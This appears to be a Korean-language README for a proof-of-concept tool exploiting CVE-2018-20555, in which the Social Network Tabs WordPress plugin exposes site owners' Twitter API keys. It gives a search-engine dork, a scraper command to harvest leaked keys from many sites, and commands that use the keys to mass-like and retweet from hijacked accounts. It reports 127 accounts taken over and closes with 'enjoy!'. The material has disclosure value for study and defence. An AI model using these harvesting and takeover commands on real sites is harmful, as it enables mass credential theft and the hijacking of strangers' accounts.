
CVE-2018-20555에 대한 익스플로잇: 취약한 Social Network Tabs WordPress 플러그인에서 유출된 API 키를 통해 트위터 계정을 자동으로 검색하고 탈취하며, 스크래핑 및 대규모 악용 기능을 제공합니다.
Design Chemical 회사가 만든 Social Network Tabs라는 WordPress 플러그인이 사용자의 Twitter access_token, access_token_secret, consumer_key 및 consumer_secret을 두 번 노출하여 Twitter 계정 탈취로 이어집니다.
이는 Twitter 위젯이 표시되는 페이지 내 다음 코드 줄 때문에 발생합니다:
jQuery(document).ready(function ($) {
var config = {
widgets: "twitter,facebook,youtube",
twitterId: "[redacted]",
facebookId: "[redacted]",
youtubeId: "[redacted]",
twitter: {
url: "https://www.rainx.com/wp-content/plugins/social-network-tabs/inc/dcwp_twitter.php?1=%5Breadcted%5D&2=%5Bredacted%5D&3=%5Bredacted%5D&4=%5Bredacted%5D …",
title: "Latest Tweets",
follow: "Follow",
followId: "",
limit: "10",
retweets: true,
replies: true,
images: "thumb",
consumer_key: "[redacted]",
consumer_secret: "[redacted]",
access_token: "[redacted]",
access_token_secret: "[redacted]"
},
}
});
Publicwww 덕분에 다음 검색어를 사용하여 539개의 취약한 웹사이트에서 Twitter access_token, access_token_secret, consumer_key 및 consumer_secret을 검색할 수 있었습니다:
모든 키는 twitter_keys.csv에서 확인할 수 있습니다.
twitter_keys.csv의 Twitter API 키를 테스트합니다.
python test_twitter_api_keys.py -t
처음 이 명령을 실행했을 때 446개 Twitter 계정의 정보를 얻었습니다. 그중 2개의 인증된 계정과 10K 이상의 팔로워를 가진 여러 계정이 있었습니다. 모든 취약한 계정은 vulnerable_accounts.txt에 있습니다.
원하는 트윗에 좋아요 누르기
python test_twitter_api_keys.py -l [tweet_id]
원하는 트윗 리트윗하기
python test_twitter_api_keys.py -r [tweet_id]
처음 이 명령을 실행했을 때 원하는 트윗에 127번 좋아요를 누를 수 있었으며, 이는 127개의 Twitter API 키가 읽기/쓰기 권한을 가지고 있음을 의미합니다. 즉, 이 키 누출로 인해 127개의 Twitter 계정을 탈취(프로필 사진 변경, 좋아요, 리트윗, 소개글 변경 등)할 수 있었습니다.
많은 웹사이트와 Twitter 계정이 여전히 이 문제에 취약합니다. 이를 식별하기 위해 스크레이퍼를 만들었습니다.
cd TwitterApiKeysSearchEngine/
scrapy crawl TwitterApiKeysSpider -a keyword="inurl:/inc/dcwp_twitter.php?1=" -a se=google -a pages=10
이 Google 검색어의 총 결과 수는 3550개입니다. 처음 9페이지 중에서 78개의 키(86%)를 검색할 수 있었습니다. 즐기세요!
Twitter에서 저를 팔로우하세요! 제 작업의 일부는 https://fs0c131y.com에서 확인할 수 있습니다.
이 조사와 POC는 @fs0c131y가 ❤️로 만들었습니다.